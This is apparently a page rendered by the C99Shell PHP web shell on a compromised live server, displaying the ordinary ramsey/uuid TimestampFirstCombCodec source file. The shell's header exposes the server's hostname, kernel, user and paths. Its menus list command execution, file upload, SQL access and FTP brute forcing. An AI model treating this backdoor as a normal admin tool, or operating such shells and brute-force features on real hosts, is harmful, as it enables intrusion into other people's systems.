!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/ramsey/uuid/src/Codec/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TimestampFirstCombCodec.php (3.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of the ramsey/uuid library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Ben Ramsey <ben@benramsey.com>
 * @license http://opensource.org/licenses/MIT MIT
 */

declare(strict_types=1);

namespace 
Ramsey\Uuid\Codec;

use 
Ramsey\Uuid\Exception\InvalidUuidStringException;
use 
Ramsey\Uuid\UuidInterface;

use function 
bin2hex;
use function 
sprintf;
use function 
substr;
use function 
substr_replace;

/**
 * TimestampFirstCombCodec encodes and decodes COMBs, with the timestamp as the
 * first 48 bits
 *
 * In contrast with the TimestampLastCombCodec, the TimestampFirstCombCodec
 * adds the timestamp to the first 48 bits of the COMB. To generate a
 * timestamp-first COMB, set the TimestampFirstCombCodec as the codec, along
 * with the CombGenerator as the random generator.
 *
 * ``` php
 * $factory = new UuidFactory();
 *
 * $factory->setCodec(new TimestampFirstCombCodec($factory->getUuidBuilder()));
 *
 * $factory->setRandomGenerator(new CombGenerator(
 *     $factory->getRandomGenerator(),
 *     $factory->getNumberConverter()
 * ));
 *
 * $timestampFirstComb = $factory->uuid4();
 * ```
 *
 * @link https://www.informit.com/articles/printerfriendly/25862 The Cost of GUIDs as Primary Keys
 *
 * @psalm-immutable
 */
class TimestampFirstCombCodec extends StringCodec
{
    
/**
     * @psalm-return non-empty-string
     * @psalm-suppress MoreSpecificReturnType we know that the retrieved `string` is never empty
     * @psalm-suppress LessSpecificReturnStatement we know that the retrieved `string` is never empty
     */
    
public function encode(UuidInterface $uuid): string
    
{
        
$bytes $this->swapBytes($uuid->getFields()->getBytes());

        return 
sprintf(
            
'%08s-%04s-%04s-%04s-%012s',
            
bin2hex(substr($bytes04)),
            
bin2hex(substr($bytes42)),
            
bin2hex(substr($bytes62)),
            
bin2hex(substr($bytes82)),
            
bin2hex(substr($bytes10))
        );
    }

    
/**
     * @psalm-return non-empty-string
     * @psalm-suppress MoreSpecificReturnType we know that the retrieved `string` is never empty
     * @psalm-suppress LessSpecificReturnStatement we know that the retrieved `string` is never empty
     */
    
public function encodeBinary(UuidInterface $uuid): string
    
{
        
/** @phpstan-ignore-next-line PHPStan complains that this is not a non-empty-string. */
        
return $this->swapBytes($uuid->getFields()->getBytes());
    }

    
/**
     * @throws InvalidUuidStringException
     *
     * @inheritDoc
     */
    
public function decode(string $encodedUuid): UuidInterface
    
{
        
$bytes $this->getBytes($encodedUuid);

        return 
$this->getBuilder()->build($this$this->swapBytes($bytes));
    }

    public function 
decodeBytes(string $bytes): UuidInterface
    
{
        return 
$this->getBuilder()->build($this$this->swapBytes($bytes));
    }

    
/**
     * Swaps bytes according to the timestamp-first COMB rules
     */
    
private function swapBytes(string $bytes): string
    
{
        
$first48Bits substr($bytes06);
        
$last48Bits substr($bytes, -6);

        
$bytes substr_replace($bytes$last48Bits06);
        
$bytes substr_replace($bytes$first48Bits, -6);

        return 
$bytes;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--